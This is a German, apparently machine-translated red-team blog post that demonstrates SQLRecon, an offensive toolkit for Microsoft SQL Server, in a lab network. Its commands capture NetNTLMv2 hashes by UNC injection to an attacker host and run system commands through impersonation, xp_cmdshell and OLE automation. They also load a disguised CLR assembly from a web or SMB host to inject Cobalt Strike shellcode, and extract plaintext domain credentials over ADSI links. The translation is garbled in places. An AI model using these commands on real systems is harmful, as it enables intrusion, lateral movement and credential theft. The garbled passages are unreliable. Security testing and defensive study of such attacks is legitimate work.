Datenbanken aufgepasst: Missbrauch von Microsoft SQL Server mit SQLRecon.

Im Laufe meiner Karriere hatte ich das Privileg, einen Blick hinter die Kulissen einiger der größten Unternehmen der Welt zu werfen. Meiner Erfahrung nach verlassen sich die meisten Branchen auf Windows-Unternehmensnetzwerke. Tatsächlich kann ich die Anzahl der Male, die ich ein dezentrales Zero-Trust-Netzwerk, ein Enterprise-Linux-Netzwerk, ein macOS-Netzwerk oder eine Alternative zu Active Directory (FreeIPA) gesehen habe, an einer Hand abzählen.

Während ich mich durch diese großen und oft komplexen Unternehmensnetzwerke navigiere, entdecke ich häufig Microsoft SQL Server, die in der Regel zur Unterstützung einer Geschäftsfunktion eingesetzt werden. Für Leser, die mit SQL Server nicht vertraut sind, sei kurz gesagt, dass es sich um eine relationale Datenbanksoftware handelt, die normalerweise auf einem Windows-Server installiert wird. Der Hauptzweck von SQL Server ist es, Daten für Anwendungen oder Nutzer zu speichern und bereitzustellen.

In diesem Blogbeitrag wird die Angriffsfläche untersucht, die SQL Server bietet, und gezeigt, wie Fehlkonfigurationen und Sicherheitslücken mit dem Tool von X-Force Red ausgenutzt werden können SQLRecon . Darüber hinaus werden gegebenenfalls defensive Überlegungen dargelegt.

Die Schwachstellen und Fehlkonfigurationen in SQL Server sind gut dokumentiert. Obwohl diese Schwächen scheinbar schon immer existiert haben, wird die Härtung von SQL Server von den Verteidigungsteams oft übersehen. Ich beziehe mich hauptsächlich auf die Absicherung der zugrunde liegenden Konfiguration und die Verhinderung trivialer Zugriffe auf den Dienst.

Eine plausible Begründung für dieses Versäumnis ist, dass es größere Risiken gibt, die ein Unternehmen priorisieren und angehen muss. Infolgedessen gerät die Härtung von SQL Server in Vergessenheit, da das Herumexperimentieren mit Produktionsdatenbankkonfigurationen zu Verfügbarkeitsproblemen führen kann, die sich wiederum in Betriebsproblemen äußern und letztendlich die Geschäftsproduktivität beeinträchtigen können.

Eine der häufigsten Fehlkonfigurationen, die ich in Unternehmensnetzwerken sehe, ist die Möglichkeit für jedes authentifizierte Domänenobjekt, sich als Konto mit geringen Berechtigungen mit dem SQL-Dienst zu verbinden. Dazu ist lediglich ein gültiger Domänenkontext erforderlich. Mit anderen Worten, ein gültiges Token für ein Domänenbenutzer- oder Domänencomputerkonto.

Um ein Beispiel zu veranschaulichen: Wenn die Workstation eines regulären Geschäftsanwenders kompromittiert ist und eine Netzwerkroute zu einem falsch konfigurierten SQL Server besteht, kann ein Gegner:

• Führe eingeschränkte SQL-Befehle auf dem Remote-SQL-Server aus.
• Ermitteln Sie die Privilegien, über die sie verfügen und die eine Eskalation durch Angriffe im Stil von Impersonation ermöglichen könnten.
• Weisen Sie SQL Server an, Authentifizierungsmaterialien über eine angeforderte Anfrage an einen UNC-Pfad (Universal Naming Convention) bereitzustellen, was zu Ergebnissen im Erhalt von Zugangsdaten führen kann, die wiederum geknackt oder zur Durchführung von Relay-Angriffen weitergeleitet werden können.
• Die Rechte, die einem SQL Server zugewiesen wurden, der mit anderen SQL Servern verknüpft ist, werden durch Huckepack übernommen, was zu einer Eskalation der Berechtigungen führen kann.

Dies sind nur einige Beispiele dafür, was ein Angreifer erreichen kann, wenn er einen falsch konfigurierten SQL Server innerhalb eines Domänenkontexts untersucht. Die Angriffsfläche eines SQL Servers hängt stets von der jeweiligen Umgebung und Konfiguration ab.

In letzter Zeit wurden Red-Teams geradezu mit einer Vielzahl von Active Directory-Missbrauch gesegnet, die zur Erhöhung der Berechtigungen in Microsoft-Unternehmensnetzwerken genutzt werden können. Wenn Defensivteams jedoch beginnen, diese Schwächen in den Griff zu bekommen, versiegen natürlich die Möglichkeiten, Privilegien durch den Missbrauch von Active Directory auszuweiten.

Dennoch machen wir tapfer weiter und arbeiten uns die Liste der Angriffe ab, optimistisch auf der Suche nach Eskalationsmöglichkeiten, die uns bei der Verfolgung unserer Ziele helfen werden. Ich gebe nur ungern zu, dass Angriffe auf SQL Server lange Zeit ziemlich weit unten auf meiner Prioritätenliste standen. Stattdessen habe ich mich für Dinge wie gemeinsame Speicher, interne Anwendungen, DevOps oder Cloud entschieden. Sie verstehen wahrscheinlich, worauf ich hinauswill ...

Irgendwann im Jahr 2022 befand ich mich in einem Projekt und war an einem Punkt angelangt, an dem es nicht mehr weiterging, nachdem ich alle üblichen Eskalationswege ausgeschöpft hatte. Dies war größtenteils auf eine außergewöhnlich gut geschützte Umgebung zurückzuführen. Zumindest dachte ich das, bevor ich eine große SQL-Server-Farm entdeckte, bei der es einfach eine Fehlkonfiguration oder Schwachstelle geben musste.

Ohne dass ich es damals wusste, und erst nachdem ich diesen Blogbeitrag geschrieben hatte, entdeckte ich, dass Kaspersky feststellte, dass wiederkehrende Angriffe mit SQL Server im Jahr 2022 um 56 % gestiegen waren. Das ist ein unglaublicher Betrag.

Als Red-Team-Operator interagiere ich häufig mit Systemen, die ich in den Netzwerken unserer Kunden kompromittiert habe, und zwar mithilfe eines Command-and-Control-Frameworks (C2). Die Kunden, mit denen wir das Glück haben zusammenzuarbeiten, verfügen in der Regel über ausgereifte Cybersicherheitsprogramme, fähige Verteidigungsteams und moderne Sicherheitskontrollen, wie z. B. Endpoint Detection and Response (EDR)-Lösungen.

Im Laufe der Jahre wurden mehrere Tools entwickelt, um SQL Server anzugreifen. Das, nach dem ich während meiner Tage beim Testen des Stifts immer gegriffen habe, war PowerUpSQL . Dies ist ein Projekt, das von Scott Sutherland (@_nullbind) erstellt wurde und weitgehend in PowerShell entwickelt wurde.

EDR-Lösungen können ein gewaltiger Gegner sein, da sie bösartige Open-Source-Tools, die für offensive Sicherheitsmaßnahmen entwickelt wurden, hervorragend erkennen, insbesondere solche, die auf PowerShell basieren. Das soll die Bedeutung der PowerShell-Post-Ausbeutung-Tools nicht schmälern, sie erfüllen durchaus ihren Zweck, nur eben nicht für das Problem, mit dem ich in meiner Umgebung konfrontiert war.

Das Problem, mit dem ich bei meinem Auftrag konfrontiert war, bestand darin, dass ich eine Möglichkeit finden musste, eine Verbindung zu Microsoft SQL-Servern herzustellen und sie zu untersuchen, um festzustellen, ob es irgendwelche Fehlkonfigurationen oder Schwachstellen gab. Die Verwendung eines der bestehenden SQL Server Post-Ausbeutung-Tools, die auf PowerShell basieren, wäre jedoch ein sicherer Weg gewesen, vom Verteidigungsteam erwischt zu werden. Dies ist auf eine Vielzahl von Gründen zurückzuführen, auf die ich hier nicht näher eingehen werde, aber PowerShell ist aufgrund von Sicherheitsfunktionen wie AMSI, eineseingeschränkten Sprachmodus und verschiedener Stile der Protokollierung kein ideales Werkzeug, um Post-Exploitation-Angriffe durchzuführen. Dies wird nur noch verschärft, wenn eine EDR-Lösung sowie weitere Protokollierung- und Überwachungsmaßnahmen eingeführt werden.

Alternativ wählen Red-Teams oft C# als Sprache zur Entwicklung von Post-Ausbeutung-Tools, da sie eine einfache Möglichkeit bietet, mit dem Framework und den Windows-APIs zu interagieren.

Ich bin zwar kein C#- oder .NET-Entwickler, aber ich kenne mich gerade so gut aus, dass ich Tools schreiben kann, die ein Problem lösen, mit dem ich konfrontiert bin. Warteschlange SQLRecon , ein C# SQL-Toolkit, das für offensive Aufklärung und Post-Ausbeutung entwickelt wurde.

SQLRecon  Hilft dabei, die Lücke bei der Ausbeutung zu schließen, indem der Ansatz von Red-Team-Operatoren beim Angriff auf SQL Server modernisiert wird. Das Tool wurde modular konzipiert, um eine einfache Erweiterbarkeit zu ermöglichen. SQLRecon  ist eigenständig oder innerhalb einer Vielzahl von C2-Frameworks kompatibel. Bei Verwendung der letzteren Variante, SQLRecon  kann es entweder im Prozess oder über traditionelles Fork and Run ausgeführt werden.

SQLRecon  über 80 Module zur Auswahl. Nachfolgend finden Sie eine allgemeine Übersicht über einige der Funktionen von SQLRecon :

Authentifizierungsanbieter

• Lokales SQL-Datenbank-Konto
• Windows-Domänenauthentifizierung auf der Grundlage des aktuellen Token
• Windows-Domänenauthentifizierung mit vom Benutzer bereitgestellten Zugangsdaten
• Azure-Domänenauthentifizierung
• Lokale Azure-Authentifizierung

Aufzählungsmodule

• SQL-Server finden, die mit einem Service Principal Name (SPN) verknüpft sind
• Informationen über den SQL-Dienst abrufen
• Berechtigungen innerhalb von SQL Server bestimmen
• Datenbanken, Tabellen, Spalten und Benutzer auflisten
• Datenbanken nach Inhalten durchsuchen
• Beliebige Abfragen ausführen
• Benutzer auflisten, die nachgeahmt werden können
• Verknüpfte SQL-Server identifizieren

Befehlsausführung, laterale Bewegung und Rechteausweitung

• xp_cmdshell
• OLE-Automatisierungsverfahren
• Benutzerdefinierte .NET-CLR-Assemblys laden und ausführen
• SQL Agent-Jobs
• ADSI-Anmeldeinformationen sammeln

Betriebssicherheit

• Kontinuierliche Authentifizierungsvalidierung
• Umfangreiche Kommandozeilen-Protokollierung
• Ausführungssicherungen je nachdem, ob die SQL Server-Optionen aktiviert oder deaktiviert sind
• Fehlerbehandlung bei Argumenten
• Erstellung von randomisiertem alphanumerischem SQL-Inhalt, sofern zutreffend
• Automatische Bereinigung von in SQL Server für Befehlsausführungszwecke erstellten Daten

Sonstiges

• Möglichkeit, Datenbankkontexte zu wechseln
• Stellen Sie eine Verbindung zu SQL-Servern her, die auf nicht standardmäßigen TCP-Ports lauschen.
• Unterstützung für Angriffe im Stil von Identitätsdiebstahl
• Fähigkeit, verknüpfte SQL-Server aufzuzählen und anzugreifen
• Unterstützung für eine Vielzahl von Angriffen auf Microsoft System Center Configuration Manager (SCCM) und Microsoft Endpoint Configuration Manager (ECM) SQL-Datenbanken
• Alle SQL-Abfragen verwenden den System.Data.SqlClient  Namespace, der von Microsoft entwickelt wurde

Detaillierte Nutzungsinformationen zu den einzelnen Techniken finden Sie im Wiki.

Zur Vorbereitung der anstehenden Demonstrationen werde ich mit einer kompromittierten Windows 10-Workstation arbeiten, die Jeff Smith(JSmith) im kawalabs.local  Unternehmensnetzwerk gehört.

Jeffs Workstation verfügt über eine Netzwerkverbindung zu drei SQL-Servern, auf denen jeweils unterschiedliche Versionen laufen: 2016, 2019 und 2022.

Eine SQL-Verbindung wurde konfiguriert zwischen SQL01  und SQL02 und eine weitere SQL-Verbindung wurde konfiguriert zwischen SQL02  und SQL03 . Für Leser, die mit verknüpften SQL-Servern nicht vertraut sind: Dies ermöglicht es einer SQL-Instanz, SQL-Anweisungen auf einer anderen SQL-Instanz auszuführen. Zum Beispiel, SQL01  kann SQL-Anweisungen auf   ausführenSQL02, und SQL02  kann Anweisungen auf SQL03 ausführen, aber SQL01 kann keine Anweisungen auf  ausführenSQL03  und umgekehrt. In realen Unternehmensnetzwerken ist die Vernetzung von SQL-Servern weit verbreitet.

Zusätzlich existiert eine Active Directory Services (ADSI)-Verbindung zwischen SQL03  und der primäre Domänencontroller in der kawalabs.local  Domain, DC01 ADSI-Links bieten SQL Server eine Möglichkeit zur Interaktion mit Active Directory-Objekten.

Und schließlich die kawalabs.local  Domain wurde mit einer Azure Active Directory-Domäne verbunden, kawalabs.onmicrosoft.com  mit Azure AD Connect. Dies ermöglicht lokalen Active Directory-Benutzern in der kawalabs.local  um auf Ressourcen in der Azure-Cloud zuzugreifen. Der  kawalabs.onmicrosoft.com  Azure AD tenancy enthält einen SQL-Server, der Zahlungsdaten speichert, ECOM01 .

Abbildung 1: Netzwerkkonfiguration

Darüber hinaus werde ich Cobalt Strike, ein beliebtes Framework, nutzen, um Aufgaben nach der Ausbeutung von Jeffs kompromittierter Workstation aus auszuführen.(DESKTOP-LF8Q3C6) Im folgenden Screenshot habe ich den whoami  Befehl ausgeführt. Dies soll lediglich verdeutlichen, dass Jeff kein privilegierter Benutzer ist und nur über grundlegende Rechte innerhalb der  kawalabs.local  Domain und dem breiteren Netzwerk verfügt.

Abbildung 2: Ausführen des Befehls „whoami“

Zum Zeitpunkt des Schreibens,SQLRecon verfügt über zwei Aufzählungsmodule, die verwendet werden können, um SQL Server in einem Netzwerk zu entdecken sowie Informationen über eine SQL-Server-Instanz zu erhalten. Der folgende Befehl zählt Active Directory Service Principal Names (SPNs) auf und stellt fest, ob SPNs für SQL Server eingerichtet sind. In der kawalabs.local Domain ist ein SPN für mehrere verschiedene Konten festgelegt, wie der unten stehende Screenshot zeigt.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

Abbildung 3: SQL Server mithilfe der SPN-Sammlung entdecken

Dann info  Modul ist sehr nützlich, um zusätzliche Informationen über einen Server zu erhalten. Das folgende Beispiel zeigt die Art der Informationen, die von einem SQL Server abgerufen werden.

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

Abbildung 4: Informationen zu SQL02 abrufen

Ein großes Lob an Daniel Duggan (@_RastaMouse) für seine Beiträge zu den Aufzählungsmodulen in SQLRecon .

Standardmodule werden gegen eine einzelne SQL-Server-Instanz ausgeführt.

Im folgenden Beispiel verwende ich den AzureAD  Authentifizierungsanbieter, der den Benutzernamen und das Passwort für ein Azure Active Directory-Konto zur Authentifizierung verwendet ECOM01 , eine SQL-Instanz, die sich in der Azure-Cloud befindet. Ich verwende dann das whoami  Modul, um zu ermitteln, welche Berechtigungen Jeff hat ECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

Abbildung 5: Aufzählung von SQL-Privilegien für jsmith@kawalabs.onmicrosoft.com

Standardmäßig wird sich SQLRecon  mit der master  Datenbank verbinden, da diese Datenbank typischerweise auf allen SQL-Server-Instanzen existiert. Sie können jedoch alle verschiedenen Datenbanken auf den SQL-Server-Instanzen ganz einfach auflisten, indem Sie das databases  Modul.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

Abbildung 6: Auflisten von Datenbanken auf ECOM01

Sie können eine Verbindung zu anderen Datenbanken herstellen, indem Sie den Datenbanknamen mit demdatabase : Flag angeben und jedes Modul, das Sie ausführen möchten weitergeben. In dem folgenden Beispiel stelle ich eine Verbindung zur Payments  Datenbank auf  herECOM01  und führte eine benutzerdefinierte SQL-Abfrage aus, die alle Inhalte aus der cc  Tabelle erhält.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

Abbildung 7: Abrufen von Dummy-Kartendaten aus der cc  Tabelle in der Payments  Datenbank auf  herECOM01

Nun zu einigen interessanteren Modulen, SQLRecon  unterstützt UNC-Pfad-Injection, die von einem Benutzerkonto mit geringen Berechtigungen durchgeführt werden kann, wie z. B. KAWALABS\JSmith Dies kann dazu führen, dass gehashte Anmeldedaten abgerufen werden, die wiederum geknackt oder weitergegeben werden können, um Angriffe im Relay-Stil durchzuführen. Im folgenden Beispiel verwende ich den WinToken  Authentifizierungsanbieter, der das Token für die KAWALABS\JSmith  Benutzerkonto zur Authentifizierung SQL02 , ein On-Premise-Server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projekte

Abbildung 8: UNC-Pfad-Injektion

Im folgenden Screenshot sehen wir, dass die Verbindung von SQL02  zu einem Host in unserer Kontrolle (172.16.10.19). Dieses Ergebnis führt dazu, dass der NetNTLMv2-Hash für die KAWALABS\mssql_svc  Domänenkonto.

Abbildung 9: Erhalt des NetNTLMv2-Hashs für KAWALABS\mssql_svc

SQLRecon  verfügt über eine Reihe von Modulen zur Befehlsausführung, mit denen Sie beliebige Befehle auf dem zugrunde liegenden System ausführen können. Dies ist besonders nützlich, wenn Sie eine Privilegienerweiterung und/oder eine Lateralbewegung anstreben. In SQLRecon wurden umfangreiche Sicherheitsvorkehrungen getroffen, um zu gewährleisten, dass die Betriebssicherheit standardmäßig aktiviert ist. Die beiden wichtigsten Leitplanken sind:

• Kontinuierliche Authentifizierungsvalidierung, bei der SQLRecon  validiert, dass es möglich ist, sich gegenüber der Domain oder dem SQL Server zu authentifizieren, bevor irgendein Modul ausgeführt wird.
• Ausführungsleitplanken, wo SQLRecon  validiert, dass optimale Bedingungen vorliegen, bevor Module ausgeführt werden, die Objekte laden, Objekte erstellen oder Befehle ausführen.

xp_cmdshell  ist seit langem eine der gängigsten Methoden, bei der Befehle auf dem zugrundeliegenden Server über eine SQL-Datenbank ausgeführt werden können. Im folgenden Beispiel habe ich das Konto mit niedrigen Privileg verwendet, KAWALABS\JSmith  um zu versuchen, die notepad.exe  Anwendung am  zu startenSQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

Abbildung 10: Demonstration der Leitplanke, die die Ausführung von Befehlen verhindert

Wie im obigen Bild zu sehen ist, wird eine Ausführungsbarriere erreicht und eine Fehlermeldung empfangen, die darauf hinweist, dass xp_cmdshell  deaktiviert ist. Dies ist in der Regel die Standardkonfiguration bei den meisten SQL-Server-Versionen. Das Schöne ist, SQLRecon  hat ein enableXp  Modul, das die xp_cmdshell  Konfiguration ermöglicht. SQLRecon verfügt außerdem über ein disableXp  Modul, damit Sie nach Ausführung Ihres Befehls wieder in den ursprünglichen sicheren Zustand zurückkehren können. xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

Abbildung 11: Demonstration einer weiteren Leitplanke, bei der unzureichende Privilegien die Ausführung von Befehlen verhindern

Wie erwartet, stößt das Konto mit den niedrigen Privilegien KAWALABS\JSmith  auf eine Ausführungsbarriere und erhält eine Meldung, dass es nicht über die erforderlichen Berechtigungen zum Aktivieren oder Deaktivieren verfügt xp_cmdshell  ... oder doch?

SQL-Imitation ist eine spezielle Berechtigung, die es einem Benutzer oder einer Gruppe im Wesentlichen ermöglicht, mit der Erlaubnis eines anderen Benutzers sowie mit eigenen Berechtigungen zu arbeiten. Der folgende Screenshot stammt aus der Backend-Konfiguration von SQL02  und zeigt, dass BUILTIN\Users  sich als sa  Konto ausgeben kann.

Abbildung 12: BUILTIN\Users  können sich ausgeben als sa  Konto auf SQL02

SQLRecon  hat ein impersonate  Modul zur Feststellung, ob ein Benutzerkonto die Identität eines anderen Benutzers annehmen kann.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

Wie im folgenden Screenshot zu sehen ist, KAWALABS\JSmith  Ein Benutzerkonto mit niedrigen Rechten kann sich als   ausgebensa  Konto auf SQL02 . Dies demonstriert die Möglichkeit, Befehle auf der SQL-Instanz mit administratorähnlichen Rechten auszuführen. Außerdem bedeutet dies, dass wir jetzt Systembefehle auf dem zugrunde liegenden Server ausführen können.

Abbildung 13: Auflistung der Accounts, die imitiert werden können auf SQL02

Um ein anderes Befehlsausführungsmodul zu demonstrieren, kann SQLRecon  Befehle am zugrunde liegenden Benutzer mithilfe von OLE Automatisierung Procedures ausführen. Dies verwendet  odsole70.dll  Assembly zur Interaktion mit COM-Objekten, sodass wscript.shell  zur Ausführung beliebiger Systembefehle missbraucht werden kann.

Imitationsmodule werden immer mit dem Buchstaben   eingeleiteti und diese Module benötigen den Namen des Kontos, dessen Identität angenommen werden soll. Im folgenden Beispiel verbinde ich mich mit SQL02  mit niedrigem Privileg KAWALABS\JSmith  Konto und gebe mich als sa  Konto zur Aktivierung von OLE-Automatisierungsverfahren auf SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle aus

Abbildung 14: Aktivieren von OLE-Automatisierungsverfahren mittels Impersonation

Da die OLE-Automatisierung nun aktiviert ist SQL02 bin ich in der Lage, jeden beliebigen Befehl auf dem zugrunde liegenden Server im Kontext des Benutzerkontos auszuführen, das den SQL Server-Prozess gestartet hat. Im folgenden Beispiel führe ich einen PowerShell-Kindprozess aus, der das Verzeichnis desselben Teilen auflistet, das zuvor zur Erfassung von NetNTLMv2-Zugangsdaten verwendet wurde. Beachten Sie, dass dies hauptsächlich zu Demonstrationszwecken dient und typischerweise keine Aktion ist, die in einer simulierten Gegnerbegegnung durchgeführt würde.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\\172.16.10.19\Projects"

Abbildung 15: Verwendung von PowerShell, um ein Verzeichnis auf einem entfernten Host aufzulisten

Wie im obigen Screenshot zu sehen ist, wird ein zufällig generiertes OLE-Objekt und eine Methode erstellt, der bösartige Befehl wird ausgeführt und die OLE-Objekte werden zerstört. Das ist beabsichtigt, denn wir wollen keine Beweise für unser Handeln hinterlassen.

Im folgenden Screenshot sehen wir die Verbindung, die durch das KAWALABS\mssql_svc  Benutzerkonto über SQL02  zu einem Host in unserer Kontrolle (172.16.10.19) erstellt wurde. Dies führt dazu, dass der NetNTLMv2-Hash für die KAWALABS \mssql_svc  Computerkonto.

Abbildung 16: Erhalt des NetNTLMv2-Hashs für KAWALABS\mssql_svc

Das folgende Beispiel demonstriert die Verwendung der Impersonation zur Ausführung der tasklist  Befehl mit xp_cmdshell  auf SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

Abbildung 17: Aktivieren xp_cmdshell  und die Ausführung von Systembefehlen mit Hilfe von Impersonation auf SQL02

Es empfiehlt sich stets, Konfigurationen auf den ursprünglichen Zustand zurückzusetzen.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

Abbildung 18: Deaktivierung von OLE-Automatisierungsverfahren und xp_cmdshell  auf SQL02

SQLRecon  können auch Angriffe gegen verknüpfte SQL Server-Instanzen durchführen. Der folgende Screenshot stammt aus der Backend-Konfiguration von SQL02  und zeigt, dass SQL02  hat einen Link zu SQL03 . Meiner Erfahrung nach ist das eine gängige Konfiguration in großen Unternehmensnetzwerken.

Abbildung 19: SQL02  hat einen SQL-Link zu SQL03

Das Konfigurieren einer Verbindung von einer SQL Server-Instanz zu einer anderen erfordert oft eine Reihe privilegierter Zugangsdaten, um die Verbindung herzustellen und zu binden. Dies ist für Angreifer von Vorteil, da es die Ausführung von Befehlen auf dem verknüpften SQL Server im Kontext des Kontos ermöglicht, das die Verbindung hergestellt hat. Ein weiterer Punkt ist, dass verknüpfte Server von dem Netzwerk, in dem ein Angreifer operiert, abgetrennt sein können. Dies könnte die Möglichkeit bieten, Segmentierungsgrenzen zu überwinden und in eine Netzwerkzone mit höheren Sicherheitsanforderungen einzutreten.

SQLRecon  hat ein links  Modul zur Ermittlung, ob ein SQL Server verknüpfte SQL-Instanzen besitzt.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

Abbildung 20: Auflistung der verknüpften SQL-Server auf SQL02

Verknüpfte Module beginnen immer mit dem Buchstaben l , und diese Module benötigen den Namen eines verknüpften Servers, gegen den du Befehle geben möchtest. Im folgenden Beispiel verbinde ich mich mit SQL02  als niedriges Privileg KAWALABS\JSmith  Konto erstellen und ausstellen lWhoami  Befehl gegen den verlinkten SQL03  Instanz.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

Abbildung 21: Aufzählung von SQL-Privilegien, die wir auf SQL03  über SQL02

Wie im obigen Screenshot zu sehen ist, arbeiten wir im Kontext der sa  Konto auf SQL03 Dies liegt daran, dass das sa-Konto verwendet wurde, um die SQL-Verbindung herzustellen von SQL02  Zu SQL03 .

Alle Ausführungsmodule in SQLRecon  werden auf verknüpften SQL-Servern vollständig unterstützt. Im folgenden Beispiel aktiviere ich Common Language Laufzeit (CLR)-Integration auf SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

Abbildung 22: CLR-Integration aktivieren SQL02

Die CLR-Integration ermöglicht den Import von benutzerdefinierten .NET-Assemblies in SQL Server. Diese Assemblies werden innerhalb einer gespeicherten Prozedur gespeichert, bevor sie ausgeführt werden. Das ist ein netter, primitiver Lateralbewegungsangriff.

Im folgenden Screenshot erstelle ich eine benutzerdefinierte, mit SQL Server CLR kompatible .NET-Assembly namens hollow.dll .  Dadurch wird eine Cobalt Strike-Nutzlast in einer gespeicherten Prozedur mit dem Namen   gespeichert.ExecuteShellcode . Die Nutzlast führt grundlegende Prozess-Holling durch und injiziert den Cobalt Strike-Shellcode in den neu entstandenen Internet Explorer(iexplore.exe) Node.js-Prozess

Abbildung 23: hollow.dll , eine SQL Server CLR-kompatible .NET-Assembly

Wenn Sie mehr über benutzerdefinierte SQL Server CLR-kompatible .NET-Assemblies erfahren möchten, besuchen Sie bitte den Abschnitt Clr im SQLRecon  Wiki. Ein Beispiel für hollow.dll  finden Sie hier.

In der folgenden Demonstration habe ich Folgendes hochgeladen: hollow.dll  an einen Webserver und die Assembly umbenannt zu favicon.png . Ich weise den verlinkten SQL03  Server an herunterzuladen favicon.png  von einem Webserver und die erforderlichen Schritte auszuführen, um die benutzerdefinierte Assembly in eine gespeicherte SQL Server-Prozedur zu importieren und die Nutzlast auszuführen. Dies führt zu den Ergebnissen beim Erhalt eines Cobalt Strike-Leuchtfeuers im Kontext von KAWALABS\mssql_svc  Benutzer auf SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

Abbildung 24: Erhalt eines Cobalt-Strike-Beacons im Kontext von KAWALABS\mssql_svc  auf SQL03

Das vorherige Beispiel setzt natürlich voraus, dass SQL03  Internetzugang hat, damit die Assembly von einem öffentlich zugänglichen Webserver heruntergeladen werden kann. Es gibt Fälle, in denen das Herunterladen einer fremden Ressource von einem öffentlich zugänglichen Webserver nicht möglich oder wünschenswert ist. Als solches SQLRecon  ermöglicht das direkte Laden benutzerdefinierter Assemblies aus dem Dateisystem des kompromittierten Hosts oder aus einer SMB-Share. In der folgenden Demonstration habe ich Folgendes hochgeladen: hollow.dll  an einen lokalen SMB-Server und die Assembly umbenannt in Reports.xlsx . Ich weise den verlinkten SQL03  Server an herunterzuladen Reports.xlsx  vom SMB-Server aus die notwendigen Schritte durchführen, um die benutzerdefinierte Assembly in eine SQL Server-Prozedur zu speichern und die Nutzlast auszuführen. Dies führt zu den Ergebnissen beim Erhalt eines Cobalt Strike-Leuchtfeuers im Kontext von KAWALABS\mssql_svc  Benutzer auf SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects Reports.xlsx\ /function:ExecuteShellcode

Abbildung 25: Erhalt eines Cobalt-Strike-Beakon im Kontext von

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  kann außerdem Angriffe auf verknüpfte ADSI-Server-Instanzen durchführen, um Klartextanmeldedaten für Domainkonten zu erhalten. Für weitere Informationen zu ADSI Tradecraft siehe bitte den Tarlogic-Blogbeitrag. Der folgende Screenshot stammt aus der Backend-Konfiguration SQL03  und zeigt, dass SQL03  verfügt über eine ADSI-Verbindung zum primären Domänencontroller in der kawalabs.local  Domain, DC01 Diese ADSI-Verbindung wird dargestellt durch das linkADSI  Objekt.

Abbildung 26: SQL03  hat einen ADSI-Link zu DC01

Für die Konfiguration einer ADSI-Verbindung von einer Instanz vom SQL-Server zu einem Active Directory-Domänencontroller sind nicht unbedingt Zugangsdaten erforderlich. Allerdings habe ich im realen Einsatz Fälle erlebt, in denen das Prinzip der minimalen Berechtigungen nicht angewendet wurde.

Im folgenden Beispiel verwende ich den lLinks  Modul, mit dem zuerst eine Verbindung hergestellt werden soll SQL02 , und dann eine Abfrage SQL03  für zusätzliche verknüpfte SQL-Server. Man kann sich das wie ein Doppellink-Szenario vorstellen.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

Abbildung 27: Auflisten von Links auf SQL03  aus SQL02

Jetzt, wo wir bestätigt haben, dass ein ADSI-Link auf existiertSQL03 , können wir das lAdsi  Modul zum Abrufen der Klartext-Domänen-Zugangsdaten nutzen, die zum Konfigurieren der ADSI-Verbindung verwendet werden SQL03  Zu DC01 . Dies beinhaltet das Hochladen einer benutzerdefinierten CLR-Assembler, die einen LDAP-Server enthält, in eine neue SQL Server-Laufzeitroutine auf SQL03 . Der LDAP-Server wird dann ausgeführt und wartet auf lokale Verbindungen an einem vom Benutzer angegebenen Port, in diesem Fall 49103. Anschließend nutzen wir die SQL Server-Agentenaufträge auf SQL03, um die Zugangsdaten, die zur Konfiguration der ADSI-Verbindung verwendet werden, an den lokalen LDAP-Server auf Port 49103 zu senden. Diese temporäre LDAP-Authentifizierungsumleitung führt letztendlich dazu, dass die Zugangsdaten der Domain im Klartext abgerufen werden. Es ist zu beachten, dass die Module Adsi und iAdsi keine SQL Server-Agent-Aufträge verwenden, um den LDAP-Anforderungsprozess zu initiieren, sondern stattdessen Standard-SQL-Abfragen verwendet werden.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

Abbildung 28: Doppel-Link-Angriff zur Erfassung von ADSI-Anmeldedaten

Eine der größten Erweiterungen von SQLRecon  kommt von meinem Kollegen Dave Cossa (@G0ldenGunSec), der eine Vielzahl von Modulen eingeführt hat, mit denen Microsoft System Center Configuration Manager (SCCM) und Microsoft Endgerät Configuration Manager (ECM) genutzt werden können. Die SCCM-Module wurden auf der Grundlage eines realen Projekts entwickelt, bei dem der Missbrauch der SCCM SQL Server-Datenbank dazu beitrug, unsere Ziele schneller zu erreichen. In den meisten Fällen ist für die Interaktion mit der SCCM-Datenbank ein erhöhter Berechtigungskontext erforderlich oder es muss Zugriff auf den SCCM-Server erlangt werden. In den untenstehenden Beispielen habe ich einen Cobalt Strike-Beacon im Zusammenhang mit dem KAWALABS\mssccm_svc  Konto auf einem ECM-Server, MECM01 .

Ich werde von nun an sowohl ECM als auch SCCM einfach als SCCM bezeichnen.

Im folgenden Beispiel verwende ich das Datenbankmodul, um diedatabases die in der SQL-Server-Instanz auf MECM01 .

